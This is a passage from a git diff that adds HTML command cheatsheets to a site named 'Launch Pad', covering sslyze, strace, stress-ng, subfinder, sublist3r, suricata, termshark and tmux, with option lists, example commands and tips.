SMTP STARTTLS

+
sslyze --starttls=smtp mail.example.com:25
+

Test mail server TLS.

+

JSON Output

+
sslyze --json_out=results.json example.com
+

Save results as JSON.

+

Multiple Targets

+
sslyze --targets_in=hosts.txt --json_out=results.json
+

Scan multiple hosts from file.

+

Check Security Headers

+
sslyze --http_headers example.com
+

Check HSTS and other headers.

+

Mozilla Compliance

+
sslyze --mozilla_config=intermediate example.com
+

Compare against Mozilla recommended config.

+
+

What to Look For

+

Bad (Vulnerabilities)

+
    +
  • SSLv2 or SSLv3 enabled
  • +
  • TLSv1.0 or TLSv1.1 enabled
  • +
  • Heartbleed vulnerable
  • +
  • ROBOT attack vulnerable
  • +
  • Weak cipher suites (RC4, DES, etc.)
  • +
  • Expired/invalid certificates
  • +
  • Missing HSTS header
  • +
  • TLS compression enabled (CRIME)
  • +
+

Good (Secure Config)

+
    +
  • Only TLSv1.2 and TLSv1.3
  • +
  • Strong cipher suites only
  • +
  • Valid certificate chain
  • +
  • HSTS enabled with long max-age
  • +
  • Forward secrecy (ECDHE/DHE)
  • +
+
+

Tips

+
    +
  • Run full scans to get complete picture
  • +
+
    +
  • Use JSON output for automated processing
  • +
+
    +
  • Check mail servers with STARTTLS option
  • +
+
    +
  • Compare against Mozilla configurations
  • +
+
    +
  • Disable SSLv2, SSLv3, TLSv1.0, TLSv1.1
  • +
+
    +
  • Use strong ciphers only
  • +
+
    +
  • Great for compliance checks (PCI-DSS, etc.)
  • +
+
    +
  • Combine with testssl.sh for comprehensive testing
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/strace.html b/cheatsheets/strace.html new file mode 100644 index 0000000..15aa506 --- /dev/null +++ b/cheatsheets/strace.html @@ -0,0 +1,239 @@ + + + + + + + + + + + strace Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

strace Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

strace traces system calls and signals. Monitors interactions between a process and the Linux kernel, essential for debugging, performance analysis, and security auditing.

+
+

Basic Usage

+
    +
  • strace command - Trace command execution
  • +
+
    +
  • strace -p PID - Attach to running process
  • +
+
    +
  • strace -e trace=open command - Trace specific calls
  • +
+
    +
  • strace -c command - Summary statistics
  • +
+
    +
  • strace -f command - Follow child processes
  • +
+
+

Common Options

+
    +
  • -p PID - Attach to process
  • +
+
    +
  • -f - Follow child processes
  • +
+
    +
  • -ff - Separate output per thread
  • +
+
    +
  • -c - Count calls and time
  • +
+
    +
  • -e trace=set - Trace specific calls
  • +
+
    +
  • -e trace=file - Trace file operations
  • +
+
    +
  • -e trace=network - Trace network calls
  • +
+
    +
  • -e trace=process - Trace process calls
  • +
+
    +
  • -e trace=signal - Trace signals
  • +
+
    +
  • -e trace=desc - Trace file descriptor operations
  • +
+
    +
  • -e trace=ipc - Trace IPC calls
  • +
+
    +
  • -o file - Output to file
  • +
+
    +
  • -s size - String length limit
  • +
+
    +
  • -v - Verbose
  • +
+
    +
  • -t - Print timestamp
  • +
+
    +
  • -tt - Print timestamp with microseconds
  • +
+
    +
  • -T - Show time spent in calls
  • +
+
    +
  • -r - Relative timestamp
  • +
+
    +
  • -x - Print non-ASCII in hex
  • +
+
    +
  • -xx - Print all strings in hex
  • +
+
    +
  • -y - Print paths associated with file descriptors
  • +
+
    +
  • -P path - Trace only this path
  • +
+
    +
  • -b execve - Detach on exec
  • +
+
    +
  • -D - Run as separate process
  • +
+
    +
  • -q - Suppress attach/detach messages
  • +
+
    +
  • -qq - Suppress all messages
  • +
+
+

Trace Sets

+
    +
  • file - File operations
  • +
+
    +
  • network - Network operations
  • +
+
    +
  • process - Process operations
  • +
+
    +
  • signal - Signal operations
  • +
+
    +
  • desc - File descriptor operations
  • +
+
    +
  • ipc - IPC operations
  • +
+
    +
  • memory - Memory operations
  • +
+
    +
  • all - All system calls
  • +
+
+

Common Examples

+

Trace Command

+
strace ls
+

Trace all system calls.

+

Attach to Process

+
strace -p 1234
+

Attach to running process.

+

Summary Statistics

+
strace -c command
+

Show call counts and timing.

+

Trace File Operations

+
strace -e trace=file command
+

Only file-related calls.

+

Trace Network

+
strace -e trace=network command
+

Only network calls.

+

Follow Children

+
strace -f command
+

Include child processes.

+

With Timestamps

+
strace -tt command
+

Show timestamps with microseconds.

+

Show Time Spent

+
strace -T command
+

Show time spent in each call.

+

Output to File

+
strace -o trace.log command
+

Save trace to file.

+

Trace Specific Call

+
strace -e trace=open,openat command
+

Trace specific system calls.

+
+

Tips

+
    +
  • Use -c for quick performance overview
  • +
+
    +
  • Use -e trace=file for file debugging
  • +
+
    +
  • Use -e trace=network for network debugging
  • +
+
    +
  • Use -f to trace multi-process applications
  • +
+
    +
  • Use -T to see slow system calls
  • +
+
    +
  • Use -o to save traces for analysis
  • +
+
    +
  • Essential for debugging system issues
  • +
+
    +
  • Great for security auditing
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/stress-ng.html b/cheatsheets/stress-ng.html new file mode 100644 index 0000000..eac1a04 --- /dev/null +++ b/cheatsheets/stress-ng.html @@ -0,0 +1,209 @@ + + + + + + + + + + + stress-ng Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

stress-ng Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

stress-ng is a system stress testing tool. Tests various system components including CPU, memory, I/O, disk, and network under load. Useful for system testing, benchmarking, and thermal testing.

+
+

Basic Usage

+
    +
  • stress-ng --cpu <num> - Stress CPU with specified workers
  • +
+
    +
  • stress-ng --vm <num> - Stress virtual memory
  • +
+
    +
  • stress-ng --io <num> - Stress I/O
  • +
+
    +
  • stress-ng --timeout <time> - Run for specified time
  • +
+
    +
  • stress-ng --metrics-brief - Show brief metrics
  • +
+
    +
  • stress-ng --verbose - Verbose output
  • +
+
+

CPU Stress

+
    +
  • stress-ng --cpu <num> - Number of CPU workers
  • +
+
    +
  • stress-ng --cpu-load <percent> - CPU load percentage
  • +
+
    +
  • stress-ng --cpu-method <method> - CPU stress method
  • +
+
    +
  • stress-ng --cpu-ops <num> - Stop after N operations
  • +
+
+

Memory Stress

+
    +
  • stress-ng --vm <num> - Number of memory workers
  • +
+
    +
  • stress-ng --vm-bytes <size> - Memory per worker
  • +
+
    +
  • stress-ng --vm-method <method> - Memory stress method
  • +
+
    +
  • stress-ng --vm-ops <num> - Stop after N operations
  • +
+
+

I/O Stress

+
    +
  • stress-ng --io <num> - Number of I/O workers
  • +
+
    +
  • stress-ng --hdd <num> - Stress hard disk
  • +
+
    +
  • stress-ng --hdd-bytes <size> - Disk write size
  • +
+
    +
  • stress-ng --hdd-ops <num> - Stop after N operations
  • +
+
+

Timing and Control

+
    +
  • stress-ng --timeout <time> - Run for specified time
  • +
+
    +
  • stress-ng --timeout <time>s - Time in seconds
  • +
+
    +
  • stress-ng --timeout <time>m - Time in minutes
  • +
+
    +
  • stress-ng --timeout <time>h - Time in hours
  • +
+
    +
  • stress-ng --kill-after <time> - Kill after timeout
  • +
+
+

Output Options

+
    +
  • stress-ng --metrics - Show metrics
  • +
+
    +
  • stress-ng --metrics-brief - Brief metrics
  • +
+
    +
  • stress-ng --verbose - Verbose output
  • +
+
    +
  • stress-ng --quiet - Quiet mode
  • +
+
    +
  • stress-ng --dry-run - Show what would be done
  • +
+
+

Common Examples

+

CPU Stress

+
stress-ng --cpu 4 --timeout 60s
+

Stress 4 CPUs for 60 seconds.

+

Memory Stress

+
stress-ng --vm 2 --vm-bytes 1G --timeout 30s
+

Stress memory with 2 workers, 1GB each, for 30 seconds.

+

I/O Stress

+
stress-ng --io 4 --timeout 60s
+

Stress I/O with 4 workers for 60 seconds.

+

Disk Stress

+
stress-ng --hdd 1 --hdd-bytes 1G --timeout 120s
+

Stress disk with 1GB writes for 120 seconds.

+

Combined Stress

+
stress-ng --cpu 2 --vm 1 --io 1 --timeout 60s
+

Stress CPU, memory, and I/O simultaneously.

+

With Metrics

+
stress-ng --cpu 4 --timeout 60s --metrics-brief
+

Show brief metrics during stress test.

+

CPU Load Percentage

+
stress-ng --cpu 4 --cpu-load 50 --timeout 60s
+

Stress CPUs at 50% load.

+

Verbose Output

+
stress-ng --cpu 2 --timeout 30s --verbose
+

Show detailed output.

+
+

Tips

+
    +
  • Use --timeout to limit test duration
  • +
+
    +
  • Use --metrics-brief to monitor performance during test
  • +
+
    +
  • Start with low worker counts and short timeouts
  • +
+
    +
  • Monitor system temperatures while running stress tests
  • +
+
    +
  • Use watch sensors to monitor temperatures in real-time: watch -n 1 sensors
  • +
+
    +
  • Use --cpu-load to control CPU utilization percentage
  • +
+
    +
  • Use --vm-bytes to control memory stress size
  • +
+
    +
  • Use --dry-run to see what would be executed
  • +
+
    +
  • Essential for thermal testing and system stability verification
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/subfinder.html b/cheatsheets/subfinder.html new file mode 100644 index 0000000..ea7d638 --- /dev/null +++ b/cheatsheets/subfinder.html @@ -0,0 +1,221 @@ + + + + + + + + + + + subfinder Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

subfinder Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Subfinder is a fast passive subdomain enumeration tool by ProjectDiscovery. It uses passive sources to discover subdomains without sending any traffic to the target.

+
+

Basic Usage

+
    +
  • subfinder -d <domain> - Basic subdomain enumeration
  • +
+
    +
  • subfinder -dL domains.txt - Enumerate from domain list
  • +
+
+

Input Options

+
    +
  • -d, -domain - Target domain
  • +
+
    +
  • -dL, -list - File containing list of domains
  • +
+
+

Output Options

+
    +
  • -o, -output - Output file
  • +
+
    +
  • -oJ, -json - JSON output
  • +
+
    +
  • -oD, -output-dir - Directory for output files
  • +
+
    +
  • -cs, -collect-sources - Include source info in output
  • +
+
    +
  • -oI, -ip - Include IP addresses in output
  • +
+
+

Configuration

+
    +
  • -config - Config file path
  • +
+
    +
  • -pc, -provider-config - Provider config file
  • +
+
    +
  • -r, -resolver - Comma separated resolvers
  • +
+
    +
  • -rL, -resolver-list - File containing resolvers
  • +
+
    +
  • -active - Verify subdomains via DNS resolution
  • +
+
+

Source Options

+
    +
  • -s, -sources - Specific sources to use (comma separated)
  • +
+
    +
  • -recursive - Use recursive sources only
  • +
+
    +
  • -all - Use all sources
  • +
+
    +
  • -es, -exclude-sources - Exclude specific sources
  • +
+
    +
  • -ls, -list-sources - List all available sources
  • +
+
+

Rate Limiting

+
    +
  • -t, -threads - Concurrent threads (default 10)
  • +
+
    +
  • -rl, -rate-limit - Max requests per second
  • +
+
    +
  • -timeout - Timeout in seconds (default 30)
  • +
+
+

Other Options

+
    +
  • -silent - Only show subdomains in output
  • +
+
    +
  • -v, -verbose - Verbose output
  • +
+
    +
  • -version - Show version
  • +
+
    +
  • -nc, -no-color - Disable color output
  • +
+
+

Configuration File

+

Location

+
    +
  • ~/.config/subfinder/provider-config.yaml - API keys config
  • +
+

Example Config

+
securitytrails:
+  - your_api_key_here
+shodan:
+  - your_api_key_here
+virustotal:
+  - your_api_key_here
+chaos:
+  - your_api_key_here
+github:
+  - your_github_token
+
+

Common Examples

+

Basic Scan

+
subfinder -d example.com
+

Quick passive subdomain enumeration.

+

Save to File

+
subfinder -d example.com -o subdomains.txt
+

Save results to file.

+

JSON Output with Sources

+
subfinder -d example.com -oJ -cs -o results.json
+

JSON output with source information.

+

Silent Mode for Piping

+
subfinder -d example.com -silent | httpx
+

Pipe to httpx for live domain checking.

+

Multiple Domains

+
subfinder -dL domains.txt -o all_subs.txt
+

Enumerate multiple domains from file.

+

With IP Resolution

+
subfinder -d example.com -oI -o subs_with_ips.txt
+

Include IP addresses in output.

+

Specific Sources

+
subfinder -d example.com -s shodan,virustotal,securitytrails
+

Use only specific sources.

+

Active Verification

+
subfinder -d example.com -active
+

Verify subdomains via DNS resolution.

+
+

Tips

+
    +
  • Configure API keys for significantly better results
  • +
+
    +
  • Use -silent for clean output suitable for piping
  • +
+
    +
  • Combine with httpx for live domain verification
  • +
+
    +
  • Use -all to enable all sources (slower but thorough)
  • +
+
    +
  • Fast and lightweight compared to amass
  • +
+
    +
  • Great for quick reconnaissance before deeper scanning
  • +
+
    +
  • Passive only - won't trigger IDS/IPS
  • +
+
    +
  • Part of ProjectDiscovery toolkit - integrates well with nuclei, httpx
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/sublist3r.html b/cheatsheets/sublist3r.html new file mode 100644 index 0000000..e539c34 --- /dev/null +++ b/cheatsheets/sublist3r.html @@ -0,0 +1,170 @@ + + + + + + + + + + + sublist3r Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

sublist3r Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Sublist3r is a Python tool designed to enumerate subdomains using search engines like Google, Yahoo, Bing, Baidu, and Ask. It also uses Netcraft, Virustotal, ThreatCrowd, DNSdumpster, and ReverseDNS.

+
+

Basic Usage

+
    +
  • sublist3r -d <domain> - Basic subdomain enumeration
  • +
+
    +
  • python sublist3r.py -d <domain> - Run directly with Python
  • +
+
+

Options

+
    +
  • -d, --domain - Domain to enumerate
  • +
+
    +
  • -b, --bruteforce - Enable brute force module
  • +
+
    +
  • -p, --ports - Scan for open ports (comma separated)
  • +
+
    +
  • -v, --verbose - Enable verbose output
  • +
+
    +
  • -t, --threads - Number of threads (default 30)
  • +
+
    +
  • -e, --engines - Specify search engines (comma separated)
  • +
+
    +
  • -o, --output - Save results to file
  • +
+
    +
  • -h, --help - Show help message
  • +
+
+

Search Engines

+

Available engines for -e option:

+
    +
  • google
  • +
  • yahoo
  • +
  • bing
  • +
  • baidu
  • +
  • ask
  • +
  • netcraft
  • +
  • dnsdumpster
  • +
  • virustotal
  • +
  • threatcrowd
  • +
  • ssl
  • +
  • passivedns
  • +
+
+

Common Examples

+

Basic Enumeration

+
sublist3r -d example.com
+

Find subdomains using all sources.

+

Save to File

+
sublist3r -d example.com -o subdomains.txt
+

Save discovered subdomains to file.

+

Verbose with Threads

+
sublist3r -d example.com -v -t 50
+

Verbose output with 50 threads.

+

Specific Engines

+
sublist3r -d example.com -e google,bing,virustotal
+

Use only specific search engines.

+

With Port Scanning

+
sublist3r -d example.com -p 80,443,8080
+

Enumerate and scan for open ports.

+

Brute Force

+
sublist3r -d example.com -b
+

Enable brute force subdomain guessing.

+

Full Scan

+
sublist3r -d example.com -b -p 80,443 -v -o results.txt
+

Comprehensive scan with all features.

+
+

Installation

+
# Clone the repository
+git clone https://github.com/aboul3la/Sublist3r.git
+
+# Install requirements
+cd Sublist3r
+pip install -r requirements.txt
+
+# Run
+python sublist3r.py -d example.com
+
+

Tips

+
    +
  • Use multiple engines for comprehensive coverage
  • +
+
    +
  • Some engines may block you - rotate sources if needed
  • +
+
    +
  • Combine with other tools like amass and subfinder
  • +
+
    +
  • Use -v to see real-time progress
  • +
+
    +
  • Port scanning adds time but reveals more info
  • +
+
    +
  • Brute force can find subdomains not indexed by search engines
  • +
+
    +
  • Results can be piped to other tools for further analysis
  • +
+
    +
  • Always get authorization before scanning targets you don't own
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/suricata.html b/cheatsheets/suricata.html new file mode 100644 index 0000000..581aa7e --- /dev/null +++ b/cheatsheets/suricata.html @@ -0,0 +1,225 @@ + + + + + + + + + + + suricata Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

suricata Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Suricata is a high-performance network IDS, IPS, and network security monitoring engine. Multi-threaded, protocol-aware, and capable of real-time intrusion detection and prevention.

+
+

Basic Usage

+
    +
  • suricata -c suricata.yaml -i eth0 - Run on interface
  • +
+
    +
  • suricata -c suricata.yaml -r file.pcap - Analyze pcap
  • +
+
    +
  • suricata -c suricata.yaml -T - Test configuration
  • +
+
    +
  • suricata -c suricata.yaml -v - Verbose mode
  • +
+
    +
  • suricata -c suricata.yaml -S rules.rules -i eth0 - Custom rules
  • +
+
+

Options

+
    +
  • -c config - Configuration file
  • +
+
    +
  • -i interface - Network interface
  • +
+
    +
  • -r file - Read from pcap file
  • +
+
    +
  • -T - Test configuration
  • +
+
    +
  • -v - Verbose output
  • +
+
    +
  • -S file - Rules file
  • +
+
    +
  • -l directory - Log directory
  • +
+
    +
  • -D - Run as daemon
  • +
+
    +
  • -u user - Run as user
  • +
+
    +
  • -g group - Run as group
  • +
+
+

Configuration

+
    +
  • /etc/suricata/suricata.yaml - Main configuration
  • +
+
    +
  • /etc/suricata/rules/ - Rules directory
  • +
+
    +
  • /var/log/suricata/ - Log directory
  • +
+
    +
  • /var/lib/suricata/ - Data directory
  • +
+
+

Rule Management

+
    +
  • suricata-update - Update rules
  • +
+
    +
  • suricata-update list-sources - List rule sources
  • +
+
    +
  • suricata-update enable-source et/open - Enable source
  • +
+
    +
  • suricata-update update-sources - Update sources
  • +
+
    +
  • suricata-update -f - Force update
  • +
+
+

Log Files

+
    +
  • /var/log/suricata/eve.json - JSON event log
  • +
+
    +
  • /var/log/suricata/fast.log - Fast alert log
  • +
+
    +
  • /var/log/suricata/stats.log - Statistics log
  • +
+
    +
  • /var/log/suricata/http.log - HTTP log
  • +
+
    +
  • /var/log/suricata/tls.log - TLS log
  • +
+
+

Common Examples

+

Test Configuration

+
suricata -c /etc/suricata/suricata.yaml -T
+

Validate configuration file.

+

Run on Interface

+
suricata -c /etc/suricata/suricata.yaml -i eth0
+

Start monitoring interface.

+

Analyze PCAP

+
suricata -c /etc/suricata/suricata.yaml -r capture.pcap
+

Analyze captured traffic.

+

Update Rules

+
suricata-update
+

Update detection rules.

+

View Alerts

+
tail -f /var/log/suricata/fast.log
+

Monitor alerts in real-time.

+

JSON Events

+
jq '.alert' /var/log/suricata/eve.json
+

Parse JSON event log.

+

Service Management

+
systemctl start suricata
+systemctl status suricata
+

Manage as systemd service.

+
+

Rule Syntax

+
    +
  • alert action protocol src port -> dst port (options) - Basic rule
  • +
+
    +
  • msg - Alert message
  • +
+
    +
  • sid - Signature ID
  • +
+
    +
  • rev - Revision number
  • +
+
    +
  • content - Pattern to match
  • +
+
    +
  • pcre - Perl-compatible regex
  • +
+
+

Tips

+
    +
  • Always test configuration with -T before running
  • +
+
    +
  • Update rules regularly with suricata-update
  • +
+
    +
  • Monitor eve.json for comprehensive event data
  • +
+
    +
  • Use IPS mode for active blocking (requires proper setup)
  • +
+
    +
  • Configure log rotation for large deployments
  • +
+
    +
  • Fine-tune rules for your environment
  • +
+
    +
  • Monitor performance and adjust threads
  • +
+
    +
  • Essential for network security monitoring
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/termshark.html b/cheatsheets/termshark.html new file mode 100644 index 0000000..b5737bc --- /dev/null +++ b/cheatsheets/termshark.html @@ -0,0 +1,210 @@ + + + + + + + + + + + termshark Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

termshark Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

termshark is a terminal UI for tshark, inspired by Wireshark.

+
+

Basic Usage

+
    +
  • termshark -i <interface> - Capture live from network interface
  • +
+
    +
  • termshark -r <file> - Load and analyze pcap file
  • +
+
    +
  • termshark <file> - Load pcap file (alternative)
  • +
+
+

Navigation

+
    +
  • j or ↓ - Move down through packets
  • +
+
    +
  • k or ↑ - Move up through packets
  • +
+
    +
  • Enter - Expand/collapse packet details
  • +
+
    +
  • Space - Expand/collapse fields
  • +
+
    +
  • h - Collapse tree view
  • +
+
    +
  • l - Expand tree view
  • +
+
    +
  • / - Search/filter packet fields
  • +
+
    +
  • n - Next packet
  • +
+
    +
  • p - Previous packet
  • +
+
    +
  • g - Go to top
  • +
+
    +
  • G - Go to bottom
  • +
+
+

Filtering and Search

+
    +
  • / - Open filter/search UI
  • +
+
    +
  • Ctrl+F - Open filter/search UI (alternative)
  • +
+
    +
  • Enter - Apply filter
  • +
+
    +
  • Esc - Cancel filter
  • +
+
+

Display Options

+
    +
  • t - Toggle display format
  • +
+
    +
  • Ctrl+N - Next tab (if using tabs)
  • +
+
    +
  • Ctrl+P - Previous tab (if using tabs)
  • +
+
+

System

+
    +
  • q - Quit termshark
  • +
+
    +
  • ? - Show help
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/termshark/config.yaml (user config)
  • +
+
    +
  • ~/.config/termshark/ (profiles directory)
  • +
+
    +
  • ~/.termshark/ (legacy location)
  • +
+

Example Configuration

+
# termshark config
+profiles:
+  default:
+    columns:
+      - Time
+      - Source
+      - Destination
+      - Protocol
+      - Length
+      - Info
+

Command Line Options

+
    +
  • -i <interface> - Capture from interface
  • +
+
    +
  • -r <file> - Read from pcap file
  • +
+
    +
  • -f <filter> - Apply display filter
  • +
+
    +
  • -Y <filter> - Apply display filter (alternative)
  • +
+
    +
  • -n - Disable network name resolution
  • +
+
    +
  • -N - Disable port name resolution
  • +
+
+

Tips

+
    +
  • Use live capture vs. reading pcap to compare behavior
  • +
+
    +
  • Pipe output with tshark flags into termshark for filtering before loading
  • +
+
    +
  • Familiarize with filter syntax early (e.g., ip.src == 1.2.3.4)
  • +
+
    +
  • Use keyboard navigation to avoid switching back and forth to mouse
  • +
+
    +
  • When working over SSH, using termshark avoids copying large pcap files
  • +
+
    +
  • Adjust visible columns and packet details via profiles to reduce noise
  • +
+
    +
  • Ensure tshark is installed and up to date, since termshark uses it under the hood
  • +
+
    +
  • Use Wireshark-compatible display filters for familiarity
  • +
+
    +
  • Profiles allow customizing column layouts and color schemes
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/tmux.html b/cheatsheets/tmux.html new file mode 100644 index 0000000..65e9080 --- /dev/null +++ b/cheatsheets/tmux.html @@ -0,0 +1,365 @@ + + + + + + + + + + + tmux Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

tmux Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Basic Commands

+

Starting and Attaching

+
    +
  • tmux - Start new session
  • +
+
    +
  • tmux new -s <name> - Start new named session
  • +
+
    +
  • tmux attach -t <name> - Attach to session
  • +
+
    +
  • tmux attach-session -t <name> - Attach to session (long form)
  • +
+
    +
  • tmux ls - List all sessions
  • +
+
    +
  • tmux list-sessions - List all sessions (long form)
  • +
+
    +
  • tmux kill-session -t <name> - Kill a session
  • +
+
    +
  • tmux kill-server - Kill all sessions
  • +
+

Prefix Key

+

Default prefix is Ctrl+b. All commands below assume this prefix.

+
+

Sessions

+
    +
  • s - List sessions
  • +
+
    +
  • $ - Rename session
  • +
+
    +
  • d - Detach from session
  • +
+
    +
  • ( - Switch to previous session
  • +
+
    +
  • ) - Switch to next session
  • +
+
+

Windows

+
    +
  • c - Create new window
  • +
+
    +
  • , - Rename current window
  • +
+
    +
  • w - List windows
  • +
+
    +
  • n - Next window
  • +
+
    +
  • p - Previous window
  • +
+
    +
  • 0-9 - Switch to window number
  • +
+
    +
  • & - Kill current window
  • +
+
    +
  • f - Find window by name
  • +
+
+

Panes

+
    +
  • % - Split pane vertically (left/right)
  • +
+
    +
  • " - Split pane horizontally (top/bottom)
  • +
+
    +
  • x - Kill current pane
  • +
+
    +
  • z - Zoom/unzoom current pane
  • +
+
    +
  • { - Swap pane with previous
  • +
+
    +
  • } - Swap pane with next
  • +
+
    +
  • o - Switch to next pane
  • +
+
    +
  • ; - Switch to last active pane
  • +
+
    +
  • q - Show pane numbers (then press number to switch)
  • +
+
    +
  • h - Select pane to the left
  • +
+
    +
  • j - Select pane below
  • +
+
    +
  • k - Select pane above
  • +
+
    +
  • l - Select pane to the right
  • +
+
    +
  • H - Resize pane left
  • +
+
    +
  • J - Resize pane down
  • +
+
    +
  • K - Resize pane up
  • +
+
    +
  • L - Resize pane right
  • +
+
    +
  • Ctrl+h/j/k/l - Resize pane (alternative)
  • +
+
    +
  • Alt+Arrow - Resize pane
  • +
+
    +
  • Space - Toggle between pane layouts
  • +
+
+

Copy Mode

+
    +
  • [ - Enter copy mode
  • +
+
    +
  • ] - Paste buffer
  • +
+
    +
  • q - Exit copy mode
  • +
+
    +
  • Space - Start selection
  • +
+
    +
  • Enter - Copy selection
  • +
+
    +
  • v - Start selection (vi mode)
  • +
+
    +
  • y - Copy selection (vi mode)
  • +
+
    +
  • p - Paste (vi mode)
  • +
+
    +
  • / - Search forward
  • +
+
    +
  • ? - Search backward
  • +
+
    +
  • n - Next match
  • +
+
    +
  • N - Previous match
  • +
+
+

Miscellaneous

+
    +
  • t - Show clock
  • +
+
    +
  • ? - List all key bindings
  • +
+
    +
  • : - Enter command mode
  • +
+
    +
  • r - Reload config file
  • +
+
    +
  • ~ - Show messages
  • +
+
    +
  • Ctrl+z - Suspend tmux (send to background)
  • +
+
+

Command Mode Commands

+
    +
  • new-window -n <name> - Create named window
  • +
+
    +
  • split-window -h - Split horizontally
  • +
+
    +
  • split-window -v - Split vertically
  • +
+
    +
  • select-pane -t <number> - Select pane by number
  • +
+
    +
  • resize-pane -L 10 - Resize pane left by 10
  • +
+
    +
  • resize-pane -R 10 - Resize pane right by 10
  • +
+
    +
  • resize-pane -U 10 - Resize pane up by 10
  • +
+
    +
  • resize-pane -D 10 - Resize pane down by 10
  • +
+
    +
  • swap-pane -s <source> -t <target> - Swap panes
  • +
+
    +
  • kill-pane -t <number> - Kill pane
  • +
+
    +
  • kill-window -t <number> - Kill window
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.tmux.conf (user config)
  • +
+
    +
  • /etc/tmux.conf (system config)
  • +
+

Example Key Bindings

+

Customize key bindings in your config:

+
# Change prefix key
+unbind C-b
+set-option -g prefix C-a
+bind-key C-a send-prefix
+
+# Custom window navigation
+bind h select-pane -L
+bind j select-pane -D
+bind k select-pane -U
+bind l select-pane -R
+
+# Custom window splitting
+bind | split-window -h
+bind - split-window -v
+unbind '"'
+unbind %
+
+# Reload config
+bind r source-file ~/.tmux.conf \; display "Config reloaded!"
+

Common Settings

+
# Change prefix to Ctrl+a
+unbind C-b
+set-option -g prefix C-a
+bind-key C-a send-prefix
+
+# Enable mouse support
+set -g mouse on
+
+# Start windows and panes at 1, not 0
+set -g base-index 1
+setw -g pane-base-index 1
+
+# Renumber windows sequentially after closing any
+set -g renumber-windows on
+
+# Increase scrollback buffer
+set -g history-limit 10000
+
+# Enable vi mode
+setw -g mode-keys vi
+
+# Set default terminal mode to 256color
+set -g default-terminal "screen-256color"
+
+# Faster key repeat
+set -s escape-time 0
+
+# Reload config file
+bind r source-file ~/.tmux.conf \; display "Config reloaded!"
+
+

Tips

+
    +
  • Use tmux -2 to force 256 color mode
  • +
+
    +
  • Use tmux -u to enable UTF-8
  • +
+
    +
  • Sessions persist after terminal closes
  • +
+
    +
  • Use tmuxinator or tmuxp for session management
  • +
+
    +
  • Ctrl+b then d to detach without killing session
  • +
+
    +
  • Use tmux attach to reconnect to last session
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
